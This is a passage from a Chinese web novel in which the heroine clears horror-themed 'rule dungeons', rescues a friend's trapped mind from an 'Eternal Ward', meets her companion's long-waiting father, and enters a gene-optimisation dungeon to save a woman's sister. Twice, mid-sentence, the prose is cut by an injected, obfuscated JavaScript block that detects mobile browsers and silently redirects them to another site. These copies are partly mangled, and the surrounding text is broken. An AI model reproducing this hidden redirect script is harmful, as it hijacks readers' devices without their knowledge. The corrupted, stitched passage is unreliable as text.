“走吧。”他说,“我带你出去。” 他转身往前走。 虞锦跟在后面。 走了几步,郁白头也不回地说: “虞锦。” “嗯?” “刚才那个戒指——”他说,“你先拿着。以后……再说。” 虞锦愣了一下。 然后她低头看着手心里那枚旧旧的银戒指,上面那朵小花,在灰白的光线里,微微发着光。 她把它收进口袋里。 “好。”她说。 【叮!恭喜您成功通关S级副本:慈爱精神病院。】 【通关时长:42小时(提前30小时)】 【通关评分:SS级(隐藏剧情达成率100%,触发特殊结局)】 【获得积分:10000】 【获得特殊道具:妈妈的戒指(可在最关键的时刻召唤“第一任”的力量)】 【获得称号:被选中的人(对所有规则类副本有天然亲和力)】 【获得权限:规则修订者(中级)——可对A级及以下副本的规则进行修订】 白光闪过。 虞锦睁开眼睛,发现自己站在规则之城的街道上。 天还是灰白的,街还是那条街,卖煎饼的大叔还在翻面。 一切和进来时一样。 但一切都不一样了。 郁白站在她身边,看着她。 “接下来打算干什么?”他问。 虞锦想了想: “先吃个煎饼。饿了。” 郁白笑了: “我请客。” 他们走向那个煎饼摊。 走到一半,虞锦忽然停下,回头看了一眼。 远处,那座黑色的高塔矗立在灰白的天空下。 塔顶的窗户里,有一个小小的身影,正朝她挥手。 另一个自己。 虞锦笑了,挥了挥手。 然后转身,走向煎饼摊。 9. 永生病房 周明远躺在病床上,脸色苍白得像一张纸。 虞锦站在床边,看着他。 三天前他还好好的,在咖啡馆里等她,说要组队打副本。三天后他就躺在这里,手腕上扎着输液管,胸口的心电图机一上一下地跳着,像一只垂死挣扎的鸟。 “医生怎么说?”她问。 旁边的小护士抬起头——不是永生病房那种“规则化身”的护士,而是规则之城医院里真正的护士,有温度的那种。 “查不出来。”小护士说,“他各项指标都正常,就是醒不过来。我们怀疑是精神层面的问题——可能是在副本里受了什么刺激。” 虞锦沉默了几秒。 “他出来的时候,说什么了吗?” 小护士想了想: “就一句话。一直重复。” “什么?” “‘别让她来。’” 虞锦的手指微微收紧。 别让她来。 是让她别来? 还是让“她”别来? 她低头看着周明远的脸。那张脸在睡着的时候,比醒着的时候年轻一些,也脆弱一些。眉间的皱纹舒展开了,嘴角也不再紧绷着,像终于可以休息了。 但她知道不是。 他醒不过来。 因为有什么东西困住了他。 虞锦在床边坐下来。 她想起第一次见到周明远的时候——月子中心,西装革履,强装镇定地指挥大家。那时候她觉得这个人有点装,有点怂,但也算是个正常人。 后来他主动找她,说“希望交个朋友”。 再后来他进了永生病房,出来就变成这样。 永生病房。 那个副本,到底有什么? 她站起来,转身要走。 “你去哪儿?”小护士问。 “永生病房。” “可是你刚从里面出来——” “所以我知道怎么进去。” 小护士张了张嘴,想说什么,又咽了回去。 虞锦走到门口,停下脚步,回头看了周明远一眼。 “等我回来。”她说。 【叮——您正在尝试再次进入S级副本:永生病房。】 【检测到您已完成本副本的通关任务。】 【是否以“访客”身份进入?】 【访客权限:可自由进出,不受副本规则约束,但不能干涉副本内玩家的生死。】 虞锦选了“是”。 白光闪过。 她又站在那条走廊里。 一样的白色墙壁,一样的白色病房,一样安静的、让人窒息的空气。 但这一次,那些病房里不再有“让我死”的念叨了。 她走到“永生-99”门口,透过小窗户往里看。 那个活了三百年的女人还在轮椅上,但她的姿势不一样了——她正对着窗户,像是在等人。 看到虞锦,她笑了。 “我就知道你会回来。” 虞锦推门进去。 “你知道我为什么来?” “知道。”女人点点头,“那个叫周明远的男人。他在这里困了三天,你把他救出去了。但他把自己的一部分留在这儿了。” “一部分?” “灵魂。意识。随便你怎么叫。”女人说,“有些人离开副本的时候,会把自己最害怕的那部分‘留下’,以为这样就能解脱。其实不是。留下的那部分,会一直在这里游荡,永远出不去。” 虞锦的眉头皱起来。 “他在哪儿?” 女人抬起手,指向走廊尽头: “临终关怀病房。他走之前,一直在那儿。” 临终关怀病房在走廊的另一头,和普通病房隔着一扇铁门。 虞锦推开那扇门。 里面是一个完全不同的世界。 没有白色的墙壁,没有白色的病床,没有白色的灯光。 只有—— 黄昏。 一片无边的黄昏。 天空是暗橙色的,太阳挂在地平线上,既不落下去,也不升起来。地上是干裂的土地,一望无际,偶尔有几株枯死的草,在风里摇晃。 远处,有一个人的背影。 很小,很瘦,蹲在地上,不知道在干什么。 虞锦走过去。 走近了,她看清了—— 那个人是周明远。 他蹲在地上,用一根树枝在画什么。画得很认真,一笔一划,像小学生写作业。 “周明远。”她叫。 他没反应。 “周明远。” 还是没反应。 虞锦走到他身边,低头看他在画什么。 地上画着一个女人。 很简单的线条,圆圈是头,长方形是身体,两条线是胳膊,两条线是腿。但脸上画了眼睛、鼻子、嘴巴,还有——眼泪。 一滴一滴,从眼睛里流下来。 “这是我妈。”周明远忽然开口,声音很轻,像在自言自语,“我小时候画的。那时候她还没死。” 虞锦蹲下来,平视他。 “周明远,我是虞锦。” 他慢慢转过头,看着她。 眼睛是空的。 不是瞎,不是盲,是——什么都没有。 “虞锦……”他喃喃地重复,“虞锦是谁?” “你不记得了?” 他想了想,摇头。 “那你记得什么?” 他低下头,继续画。 “我记得我妈。”他说,“她死的时候,我七岁。她躺在病床上,握着我的手,说‘明明要好好的,妈先走了’。然后她就走了。” 他的声音没有起伏,像在念课文。 “后来我就一直画她。画了很多很多。画到她活过来为止。但她没有活过来。” 虞锦沉默着。 “再后来,我进了无限世界。”他继续说,“我拼命打副本,拼命攒积分,想找复活的办法。但我找不到。永远找不到。” 他抬起头,看着那片永远不落的夕阳: “然后我进了这个副本。我看到了那些人——那些活了很久很久的人。他们想死,死不了。我想活,活不好。” 他笑了,笑得很轻: “我就想,要不我留在这儿吧。在这儿,我不用打副本,不用攒积分,不用想复活的事。我只要画我妈就行。” 虞锦看着他。 看着他空荡荡的眼睛,看着他画在地上的那个流泪的女人,看着他瘦削的背影和微微发抖的手。 她忽然想起一个人。 她自己。 刚进无限世界的时候,她也曾这样想过吗? 想过放弃? 想过留下? 想过——就这样吧? “周明远。”她叫他的名字,比之前更轻。 他抬起头。 “你妈让你好好的。” 他的眼睛动了一下。 “她说的‘好好的’,不是让你一直画她,是让你好好活着。” 周明远看着她,眼睛里有东西在慢慢聚拢。 “可是……我活不好。” “那就慢慢活。”虞锦说,“谁一开始就活得好?” 他沉默了。 远处的夕阳一动不动,像一幅画。 虞锦伸出手: “起来。跟我回去。” 周明远看着那只手,看了很久。 然后他慢慢伸出手,握住了。 那只手很凉,很轻,像一片快要飘走的叶子。 虞锦用力握紧。 他们一起走出那片黄昏。 铁门在身后关上。 周明远站在走廊里,看着那些白色的病房,看着那些透过小窗户能看到的人影,看着那个坐在轮椅上的三百岁女人。 “她是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343816|199466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁?”他问。 “一个想死的人。” “那她为什么不——” “因为规则不让。” 周明远沉默了。 虞锦看着他: “你想复活你妈,是因为你爱她。但你知道她如果真的活了,看到你现在这样,会怎么想吗?” 周明远没有回答。 “她会难过。”虞锦说,“她死的时候让你‘好好的’,不是让你一辈子困在过去里。” 周明远低着头,不说话。 过了很久,他开口: “那你说,我该怎么办?” 虞锦想了想: “先活着。然后,等有一天,你能笑着想起她,而不是哭着画她。” 周明远抬起头,看着她。 眼睛里,终于有了一点光。 从永生病房出来,周明远醒了。 小护士惊喜地跑去叫医生,周明远躺在病床上,看着天花板,忽然说: “虞锦。” “嗯?” “谢谢。” “不用。” 他转过头,看着她: “你之前说的复活机制,是真的吗?” “真的。” “那你找到了吗?” 虞锦沉默了一秒。 “快了。” 周明远笑了。 那是她第一次看到他真正地笑——不是客套,不是礼貌,而是从心里笑出来的那种。 “那我等你。”他说,“等你找到复活机制,我第一个报名。” 虞锦也笑了。 “行。” 走出医院,天已经黑了。 规则之城的夜晚和其他地方不一样——没有月亮,没有星星,只有无数副本的光柱把天空照得像霓虹灯下的不夜城。 虞锦站在医院门口,看着那些光柱。 忽然,身后传来一个声音: “挺热闹啊。” 她回头。 郁白靠在墙上,手里拿着一个煎饼果子,正咬得嘎嘣脆。 “你跟踪我?”虞锦问。 “没有。”他又咬了一口,“我在这儿等你。” “等我干什么?” 郁白咽下那口煎饼,看着她: “永生病房的事,我听说了。那个副本的规则,是你改的?” “嗯。” “你知不知道,那个副本是第一任专门给她母亲建的?” “知道。” 郁白挑了挑眉: “知道还改?” 虞锦看着他: “她母亲想死。她不让。这是她的选择。但那个副本里还有别的人——那些被她顺手关进去的、被迫永生的人。他们的选择呢?” 郁白沉默了几秒。 然后他笑了: “你真是……” “真是怎么?” “真是……适合当规则制定者。” 虞锦愣了一下。 郁白走过来,把手里剩下的半个煎饼果子递给她: “吃吗?” 虞锦看着那半个煎饼,上面还有他的牙印。 “你有病吧?” 郁白笑了,收回手,自己继续吃。 “走吧,”他说,“带你去个地方。” “又去你家?” “不是。”他转身往前走,“去我小时候住过的地方。” 虞锦跟上他: “你小时候住过的地方,在规则之城?” “不在。”他说,“在另一个地方。一个只有我知道的地方。” 他回头看她: “敢来吗?” 虞锦看着他,看着他眼睛里的那一点认真,和那一点——期待。 “敢。” 郁白笑了。 那笑容和平时不一样。 不是玩味,不是调侃,而是一种—— 温暖。 10. 永生病房 小镇出现在一片灰白色的雾气中。 没有光柱,没有副本入口,没有规则之城的喧嚣。只有一条泥巴路,两排破旧的平房,和疯长的野草。 虞锦站在路口,看着这个荒芜的地方。 “这里是……” “我长大的地方。”郁白往前走,脚步声在寂静中显得很响,“很久以前,这里也是个正常的镇子。有人,有狗,有炊烟。后来……” 他没说下去。 虞锦跟上去。 路两边的房子有的已经塌了,有的还勉强站着,窗户像空洞的眼睛。墙上爬满了藤蔓,地上长满了野草,最高的已经到腰。 郁白走得很慢,像是在找什么。 他停在一栋房子前。 比其他的都破,屋顶塌了一半,墙上的白灰剥落得只剩几块。门是虚掩的,风吹过的时候发出“吱呀”的声音。 “就是这儿。”他说。 虞锦看着他。 他没有进去,只是站在门口,看着那扇门。 “我走的那天,”他说,声音很轻,“这扇门还没坏。” “你走了多久?” “不知道。”他想了想,“很久。久到我不记得她的脸了。” 她——是他母亲。 虞锦没有说话。 郁白伸手,推开门。 门后是一个小院子,杂草比人还高。院子尽头是一间正屋,门开着,里面黑漆漆的。 他穿过杂草,走向那间屋子。 虞锦跟在后面。 正屋里比外面还暗,只有几缕光从破了的屋顶漏进来,落在地上,像金色的碎片。 屋子里很简陋。一张桌子,两把椅子,一个灶台,一张床。墙上贴着一张年画,已经褪色得看不清是什么。 郁白站在屋子中央,环顾四周。 然后他走向那张床。 床边的墙上,挂着一张照片。 小小的,黑白的,用木框装着。 照片上是一个年轻的女人,二十出头的样子,扎着两条辫子,穿着碎花的衣服,笑得很好看。 她的眉眼——和郁白一模一样。 “我妈。”郁白说。 虞锦走近,看着那张照片。 照片很旧了,边角已经发黄,但被擦得很干净。和屋里其他东西的破败不同,这张照片没有灰尘,没有污渍,像是有人经常擦拭。 “你回来过?”她问。 郁白摇头。 “那这是……” 他愣住了。 他走过去,伸手摸了摸照片的表面——干净,光滑,没有一丝灰。 “有人来过。”他说,声音发紧。 虞锦也注意到了。 这间屋子塌了一半,到处是灰和蜘蛛网,唯独这张照片是干净的。不是巧合,是有人一直在打理。 “谁?” 郁白没有回答。 他转身,冲出屋子。 虞锦跟出去。 他站在院子里,四处张望。 野草在风里摇晃,什么人都没有。 “谁在这儿?”他喊。 没有回应。 他又喊了一遍,声音更大: “谁在这儿——!” 风停了。 野草静止不动。 然后,一个声音从屋子后面传来,很轻,很老: “我。” 郁白愣住了。 虞锦也愣住了。 一个老人从屋子后面慢慢走出来。 很老很老的老人,背驼得像一座山,头发全白了,稀稀疏疏地贴在头皮上。他穿着一件破旧的黑棉袄,拄着一根木棍,每走一步都很吃力。 他走到郁白面前,抬起头。 那张脸上全是皱纹,眼睛浑浊,但里面有一点光。 他看着郁白,看了很久。 然后他笑了。 “回来了?”他说,声音沙哑得像风吹过枯叶,“我以为你不回来了。” 郁白站在原地,一动不动。 虞锦看着他的侧脸——那张总是带着玩味的脸上,什么都没有。 空白。 彻底的空白。 “你……”他开口,声音干涩,“你是……” 老人笑了: “不认识我了?也是,我变成这样,你认不出来也正常。” 他伸出手,想去碰郁白的脸。 那只手干枯得像树枝,指甲又长又黄,在空气里微微颤抖。 郁白没有躲。 那只手碰到他的脸——很轻,像一片落叶。 “瘦了。”老人说,“比你走的时候瘦多了。在外面没好好吃饭吧?” 郁白的睫毛动了一下。 “你……你怎么还活着?” 老人收回手,拄着木棍,慢慢走到院子里的一个石墩前,坐下来。 “活着?”他笑了,“我也不知道。可能是老天不收我吧。” 他看着郁白,浑浊的眼睛里有什么东西在闪烁: “你走之后,我就一直在这儿等你。等了一年,两年,三年——后来我不数了,反正你总会回来的。” “等了多久?” “不知道。”老人摇头,“久到头发白了,牙掉了,腿走不动了。但你还是一直没回来。” 郁白站在他面前,低着头,看不清表情。 但虞锦看到他垂在身侧的手,在微微发抖。 老人看着他,忽然问: “你妈的照片,是我擦的。每天擦一遍,怕她落灰。你不在,总得有人陪她说话。” 郁白的肩膀抖了一下。 “我跟她说,”老人继续说,“儿子在外面闯荡,总有一天会回来的。她说她信。所以我们一直等。” “我们?” 老人笑了,指了指自己的心口: “我和她。她在我心里。” 郁白终于抬起头。 他的眼睛是红的。 “爸。”他叫。 老人愣住了。 那是郁白第一次叫他。 不是“你”,不是“那个人”,是“爸”。 老人的眼眶慢慢红了。 “诶。”他应了一声,声音发抖,“诶。” 院子里安静了很久。 风吹过,野草沙沙地响。 虞锦站在旁边,看着这一幕,忽然想起自己的父亲。 那个沉默寡言的男人,每次打电话只会说“吃饭了吗”“钱够花吗”“什么时候回来”。 她以前觉得烦。 现在忽然觉得,能听到这些话,真好。 老人缓了缓情绪,看着虞锦: “这是你媳妇?” 郁白愣了一下。 虞锦也愣了一下。 “不是。”郁白说,“是……” 是什么? 合作伙伴?朋友?还是—— “是我想带回来给你看的。”他说。 老人看看他,又看看虞锦,笑了: “行,行。你小子总算有点出息。” 他站起来,拄着木棍,慢慢往屋里走: “等着,我去烧水。家里没什么好东西,但茶还是有的。” “爸,不用——” “等着。”老人头也不回,“来者是客,不能怠慢。” 他消失在门里。 郁白站在原地,看着那扇门。 虞锦走到他身边: “他一直在这儿等你。” “我知道。” “你一直不知道他还活着?” 郁白沉默了几秒。 “我以为他死了。”他说,“我走的那天,他躺在床上,快不行了。我以为那是最后一面。” “他没死。” “他没死。”郁白重复了一遍,声音里有什么东西在松动,“他等了我……不知道多少年。” 虞锦看着他: “你现在知道了。” 郁白转过头,看着她。 他的眼睛还是红的,但里面有光。 “嗯。”他说,“现在知道了。” 老人真的烧了水,泡了茶。 茶叶不知道放了多少年,已经没什么味道了,但水是热的。 三个人坐在院子里,一人一杯茶。 老人问郁白这些年去了哪儿,郁白说了个大概——规则之城,无限世界,副本,玩家。老人听得半懂不懂,但一直点头。 “那地方,好不好?”他问。 郁白想了想: “不好。但有人在,就好点了。” 他看了一眼虞锦。 老人注意到了,笑了: “行,行。” 他喝完茶,站起来: “你们今晚住下吧。我去收拾屋子。” “爸,不用——” “住下。”老人说,“明天再走。难得回来一趟。” 他走进屋里。 郁白看着他的背影,忽然说: “他老了。” 虞锦说:“他等了你很多年。” “我知道。” “那你以后打算怎么办?” 郁白沉默了很久。 然后他说: “我不知道。” 他看着那扇门,声音很轻: “我活了这么久,第一次不知道该怎么办。” 虞锦没有回答。 她只是陪他坐着,喝着那杯没什么味道的茶。 晚上,虞锦睡在以前郁白的房间里。 很小的一间,只够放一张床,一张桌子。墙上贴着泛黄的奖状——“三好学生”“优秀班干部”——是郁白小时候的。 她看着那些奖状,想象他小时候的样子。 那个板着脸的小男孩,是不是也曾经坐在这个房间里,做作业,看小人书,想着长大以后要干什么? 他肯定没想到,长大以后会变成“神”。 窗外,月光很亮。 这里的月亮和现实世界一样,又大又圆,挂在天上。 虞锦忽然想起,在规则之城是看不到月亮的。 只有这里能看到。 因为这里是“家”。 她慢慢闭上眼睛。 半夜,她醒了。 不是被吵醒的,是突然就醒了,像有什么东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348845|199466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西在叫她。 她坐起来,看向窗外。 院子里有一个人影。 郁白。 他站在月光下,背对着屋子,看着远方。 虞锦披上衣服,走出去。 “睡不着?”她问。 郁白回头看她一眼,没说话。 她走到他身边,顺着他的目光看过去——是一片荒芜的田野,和远处黑黢黢的山。 “在看什么?” “没什么。”他说,“小时候,我经常站在这里,等我妈回来。” 虞锦没有说话。 “我知道她不会回来。”他继续说,“但还是等。等的时间长了,就成了习惯。” 他转过头,看着她: “后来我遇到了你。” 虞锦的心跳漏了一拍。 “你和她不一样。”他说,“她走了就再也没回来。你——你好像一直在往前走,但又好像一直在回头。” “回头?” “看那些需要帮助的人。”他说,“周明远,林晓,林慈,那个活了三百年的女人——你看她们,就像看自己的事。” 虞锦沉默了几秒。 然后她说: “因为她们也是我。” 郁白看着她。 “那个活了三百年的女人,她想死。林晓想解脱。林慈想被记住。小慈想有名字。她们想要的,我也想要——只是我比较幸运,有了。” 郁白没有说话。 月光照在他们身上,把影子拉得很长。 过了很久,郁白开口: “虞锦。” “嗯?” “如果有一天,我也困在某一个地方,你会来救我吗?” 虞锦看着他。 他问得很认真,眼睛里没有玩味,没有调侃,只有一种小心翼翼的期待。 她想起第一次见到他的时候——那个站在黑暗中、高高在上的“神”。 想起他在精神病院抓住她的手,说“我第一次慌”。 想起他把父亲的戒指给她,说“以后再说”。 想起他带她来这里,看她小时候的照片,听她说那些话。 她忽然发现—— 这个男人,也不是无所不能的。 他也会怕。 也会等。 也会不知道该怎么办。 “会。”她说。 郁白愣住了。 “我会去救你。”虞锦说,“不管你在哪儿,不管要多久。我会去。” 郁白看着她,看了很久。 然后他笑了。 那是一个真正的笑容,不是玩味,不是调侃,不是高高在上的观察——而是温暖的、放松的、像一个人终于可以呼吸了的笑容。 “好。”他说,“那我等你。” 第二天早上,他们告别了老人。 老人站在门口,拄着木棍,看着他们。 “还回来吗?”他问。 郁白看着他,看着他满头的白发,看着他佝偻的背,看着他眼睛里那一点小心翼翼的期待。 “会。”他说,“以后经常回来。” 老人笑了。 那笑容里有皱纹,有缺了的牙,有浑浊的眼睛——但那是虞锦见过的最好看的笑容之一。 “好,好。”他点头,“那我在家等你们。” 他顿了顿,看向虞锦: “姑娘,他要是欺负你,你告诉我。我打他。” 虞锦笑了: “好。” 郁白在旁边无语: “爸,我什么时候欺负过她?” 老人瞪他一眼: “你小时候欺负隔壁小芳,当我不知道?” 郁白:“……那是三十年前的事。” 老人:“三十年前也是欺负。” 虞锦笑出了声。 郁白看着她笑,忽然也笑了。 阳光落下来,照在他们身上。 很暖。 回到规则之城的时候,已经是下午。 郁白送她到公寓门口,忽然说: “虞锦。” “嗯?” “我爸说的那些……你别当真。” “哪些?” “就是……”他顿了顿,“媳妇什么的。” 虞锦看着他。 他的耳朵尖有点红。 “哦。”她说,“不当真。” 郁白愣了一下。 然后他点点头:“那……我走了。” 他转身要走。 虞锦叫住他: “郁白。” 他回头。 “你爸送我的那枚戒指——”虞锦从口袋里拿出来,“你还要吗?” 郁白看着那枚戒指,看了几秒。 然后他说: “你先收着。以后再说。” 他转身走了。 虞锦站在原地,看着他的背影消失在街角。 然后她低头,看着手心里那枚旧旧的银戒指。 上面那朵小花,在下午的光线里,微微发着光。 她把戒指收进口袋。 转身,上楼。 11. 完美基因 邀请函是手写的。 不是打印,不是系统生成,是真的用笔写在纸上的那种——墨迹还有一点晕开,像是写的人写到最后手抖了一下。 虞锦把那张纸翻来覆去看了三遍。 “你不是要复活机制吗?我知道在哪儿。但你需要先帮我一个忙——帮我救一个人。” 落款:林真。 下面还有一行小字,是地址: 规则之城东区,第七街道,13号。明天下午三点,我等你。 虞锦把邀请函收进口袋,站在窗前看着外面的光柱。 复活机制。 那是她答应第一任的事,也是周明远等了很久的事。但每一次她以为快要接近真相的时候,总会有新的谜团出现。 林真。 那个在地下室里哭过的女人。 那个被优化成“完美”、却始终保留着“不完美”的林真。 她需要救谁? 虞锦想起林真站在玻璃柜前看着“自己”时的眼神——那是愧疚,是心疼,也是深深的无力。 也许,她需要救的人,就是那个“自己”。 第二天下午两点五十,虞锦站在第七街道13号门口。 是一栋普通的居民楼,和规则之城里成千上万的居民楼一样——灰色的外墙,整齐的窗户,门口有几棵瘦小的树。唯一不同的是,这栋楼看起来比其他的更旧一些,墙皮有剥落的痕迹,像是被人遗忘了很久。 她按了按门铃。 门开了。 林真站在门口,穿着一件普通的灰色毛衣,头发披散着,没戴眼镜。和那个穿着白大褂、一丝不苟的“基因优化师”判若两人。 她比上次见面时瘦了很多。颧骨凸出来,眼窝凹下去,嘴唇干裂,整个人像被抽干了水分的植物。 “来了?”她说,声音有点哑,像是很久没开口说话,“进来吧。” 虞锦跟她走进去。 房间很小,一室一厅的格局,家具简单到简陋。一张沙发,一张茶几,一台老旧的电视。茶几上放着两杯水,已经凉了——她等了很久。 墙上挂着一张照片。 两个小女孩,一个八九岁,一个四五岁,穿着一样的碎花裙子,扎着一样的羊角辫,对着镜头笑得很开心。 大的那个眉眼和林真很像。 小的那个——和模板089一模一样。 “坐吧。”林真说。 虞锦坐下。 林真坐在对面,低着头,不说话。 房间里安静了很久。窗外的光柱一闪一闪,把影子拉得很长。 然后她开口: “你知道我为什么找你吗?” “不知道。” 林真抬起头,看着她: “因为我找不到别人了。” 她的眼睛是红的,像是哭过很久,又像是很久没睡。眼眶下面有很深的青黑,皮肤干得像纸。 “那个人,”她说,“是我妹妹。” 虞锦没有说话,等她继续说下去。 “她比我小五岁。”林真的声音很轻,像在说一个很久远的故事,“我们是一起进来的。一起打副本,一起攒积分,一起做梦——想着有一天能回去,能见到爸妈。” 她顿了顿,目光落在墙上那张照片上: “她小时候特别爱哭。一点点小事就哭,摔倒了哭,被骂了哭,吃不到糖也哭。我总是嫌她烦,嫌她吵,嫌她拖累我。但每次她哭的时候,我还是会去抱她。” 她的嘴角弯了弯,像是在笑,但眼睛里没有笑意: “后来她长大了,不怎么哭了。但每次我难过的时候,她会来抱我。她说,‘姐,有我在’。” 虞锦看着她。 “后来我们进了‘完美基因’副本。”林真的声音开始发抖,“那个副本……你知道吗,它会把最完美的基因提取出来,做成模板。然后让所有人照着模板优化。” “我知道。” “她被选中了。”林真说,“不是因为她不完美,是因为她太完美了——她的基因,是那一年检测出来的最优样本。” 虞锦的眉头皱起来。 “他们跟我说,只是提取一下,不会伤害她。我信了。”林真的眼泪流下来,“结果他们提取的不是基因,是她整个人。从基因到记忆,从记忆到人格,全部重来。” “她现在……在哪儿?” “在副本里。”林真说,“她成了‘模板’。” 虞锦的瞳孔微微收缩。 模板。 那些站在玻璃柜里、闭着眼睛、一动不动的人。 “她不是休眠。”林真说,“她是醒着的。但醒着也没用——她没有记忆,没有感情,没有自己。她只是站在那里,等人来参观。” 她的声音开始发抖: “我去看过她。站在柜子外面,看着她。她看到我,就像看到陌生人一样,一点反应都没有。我叫她名字,她不认识。我跟她说小时候的事,她听不懂。我——” 她说不下去了。 虞锦看着她,看着她颤抖的肩膀,看着她攥紧的拳头,看着她拼命忍住但还是流下来的眼泪。 她想起周明远。 那个在黄昏里画母亲的人。 他们都一样。 都在等一个回不来的人。 “你想让我做什么?”虞锦问。 林真抬起头: “你是规则修订者。你能改规则。我想让你——” 她顿了顿,深吸一口气: “我想让你把她放出来。然后,帮我找回她的记忆。” 虞锦沉默了几秒。 “你知道这有多难吗?” “知道。” “她的记忆可能已经彻底没了。就算放出来,也可能永远想不起来你是谁。” 林真的眼泪又流下来,但她笑了: “没关系。她不记得我也没关系。只要她活着,只要她还能笑,还能哭,还能晒太阳——就够了。” 她看着虞锦: “我可以重新认识她。像陌生人那样,重新做朋友,重新做姐妹。哪怕她一辈子不记得我,我也认了。” 虞锦看着她。 看着她眼睛里的光。 那种光,她在很多人眼里见过——周明远,林晓,林慈,那个活了三百年的女人。 那是“不放弃”的光。 那是即使全世界都说不可能,也还是想要试一试的光。 “好。”虞锦说。 林真愣住了。 “你……答应了?” “嗯。” “可是——可是那是S级副本,里面的规则很复杂,而且那个副本是连接着整个基因系统的,改了会影响很多人——” “我知道。” “那你还——” 虞锦看着她: “我问你一个问题。” 林真点头。 “如果今天被困在里面的是你,你妹妹会来救你吗?” 林真愣了一下。 然后她点头: “会。她一定会。不管多难,不管要付出什么,她一定会来救我。” 虞锦站起来: “那就行了。” 她走到门口,回头看她: “走吧。带我去那个副本。” 【叮——欢迎进入S级副本:完美基因。】 【副本难度:S】 【副本类型:生存+社会模拟】 【任务:在这个城市里生存30天。】 【特殊规则:这里的人按“基因等级”划分阶层。A级是上等人,B级是普通人,C级是底层,D级是——不存在的人。】 白光闪过。 虞锦站在一座城市里。 很现代的城市,高楼大厦,车水马龙,和现实世界没什么两样。 但街上的人,脸上都戴着面具。 不是真的面具,而是——表情面具。 每个人都笑着,但那笑容一模一样,像复制粘贴的。嘴角上扬的弧度一样,眼睛弯起的角度一样,甚至连露出的牙齿数量都一样。 林真站在她旁边,穿着B级的衣服,低着头,不敢看那些A级的人。 “我讨厌这个地方。”她轻声说,声音里有一种压抑了很久的东西,“每次进来,都觉得自己很脏。” 虞锦看着那些笑的人: “他们一直都这样?” “一直。”林真说,“这里没有‘不笑’的人。不笑的,都被优化了。” 她指了指远处一栋白色的大楼: “那就是基因优化中心。我妹妹在里面。在地下室。” 那栋楼很高,很白,在灰蒙蒙的天空下闪着刺眼的光。楼顶上有一个巨大的标志——一个DNA双螺旋结构,扭曲成一个圆环。 “走吧。”虞锦说。 她们穿过街道。 那些A级的人看到她们,自动让开一条路——不是尊重,是嫌弃。像看到脏东西一样,捂着鼻子,侧着身,加快脚步。有一个女人甚至掏出香水往自己身上喷,好像和她们擦肩而过会沾上什么不干净的东西。 林真低着头,走得更快了。 虞锦却走得很慢。 她在看。 看那些A级的人——他们的眼睛是空的。虽然笑着,但眼睛里什么都没有,像两颗玻璃珠。 看那些B级的人——他们的眼睛是怕的。看谁都带着警惕,像随时准备逃跑的猎物。 看那些C级的人——他们根本不在街上。据说他们住在城市边缘的棚户区,每天排队领救济粮,排到了就有饭吃,排不到就饿着。 这个世界,比她想象的更冷。 基因优化中心比外面看起来更大。 白色的外墙,反光的玻璃,门口站着两个穿白色制服的人,脸上的笑容标准得像教科书。 “欢迎光临。”左边那个说,声音平板,没有任何起伏,“请问有预约吗?” 林真拿出一个证件: “我是林真,基因优化师。这是我的助手。” 那人看了看证件,又看了看她们胸口的B级标志,笑容没有变化,但眼神里多了一丝轻蔑: “请进。” 她们走进去。 里面全是白色。 白色的墙,白色的地,白色的灯,白色的椅子,白色的人。连空气都是白的——那种消毒水混合着某种化学制剂的味道,刺鼻,冰冷,让人想打喷嚏。 林真带着虞锦穿过大厅,穿过走廊,穿过一扇又一扇需要刷卡的铁门。 越往里走,人越少,越安静。 空气也越来越冷。 虞锦能看到自己呼出的白气。 最后,她们停在一扇门前。 门上写着: “基因模板库·B区” “非授权人员禁止进入” “进入需二级权限” 林真拿出卡,刷了一下。 门开了。 一股冷气扑面而来。 里面是一个巨大的地下室。 比足球场还大,一排一排的玻璃柜,整整齐齐,像超市里的货架。柜子之间的过道很窄,只能容一个人通过。天花板上有无数盏灯,发出惨白的光,把一切都照得没有影子。 每一个玻璃柜里,都站着一个人。 闭着眼睛,一动不动,脸上带着淡淡的笑容——和街上那些A级的人一模一样的笑容。 虞锦慢慢走进去。 她走过一排排柜子,看着里面的人。 有男有女,有老有少。最小的看起来只有五六岁,最大的已经白发苍苍。但他们都有一个共同点——长得很好看。 不是普通的好看,是那种毫无瑕疵的好看,像画出来的,像雕出来的,像用计算机制作出来的。 完美。 太完美了。 完美得不真实,完美得让人不舒服。 林真走在前面,脚步很轻,像怕惊扰到什么。 她走到第89号柜子前,停下来。 “她。”她说。 虞锦走过去。 柜子里站着一个年轻的女人。 二十出头,长头发,瓜子脸,五官很精致——精致得不真实,像AI生成的那种好看。 她闭着眼睛,嘴角微微上扬,笑容很淡,很标准。 胸口的铭牌上写着: “模板-089” “基因完美度:99.7%” “状态:活跃” “备注:从B级优化者林真身上提取的基因模板。但因原体存在‘情感残留’,模板存在0.3%的缺陷。” 虞锦看着那张脸。 和林真一模一样。 但比林真年轻,比林真完美,比林真——空洞。 即使闭着眼睛,也能看出那种空洞。 像一具会呼吸的蜡像。 “林真。”虞锦轻声叫。 林真没动。 她站在柜子前,看着里面的人,眼睛一眨不眨。 “林真。”虞锦又叫了一声。 她慢慢转过头,看着虞锦。 她的脸上全是泪。 不是一滴一滴地流,是整张脸都湿了,像被雨淋过。 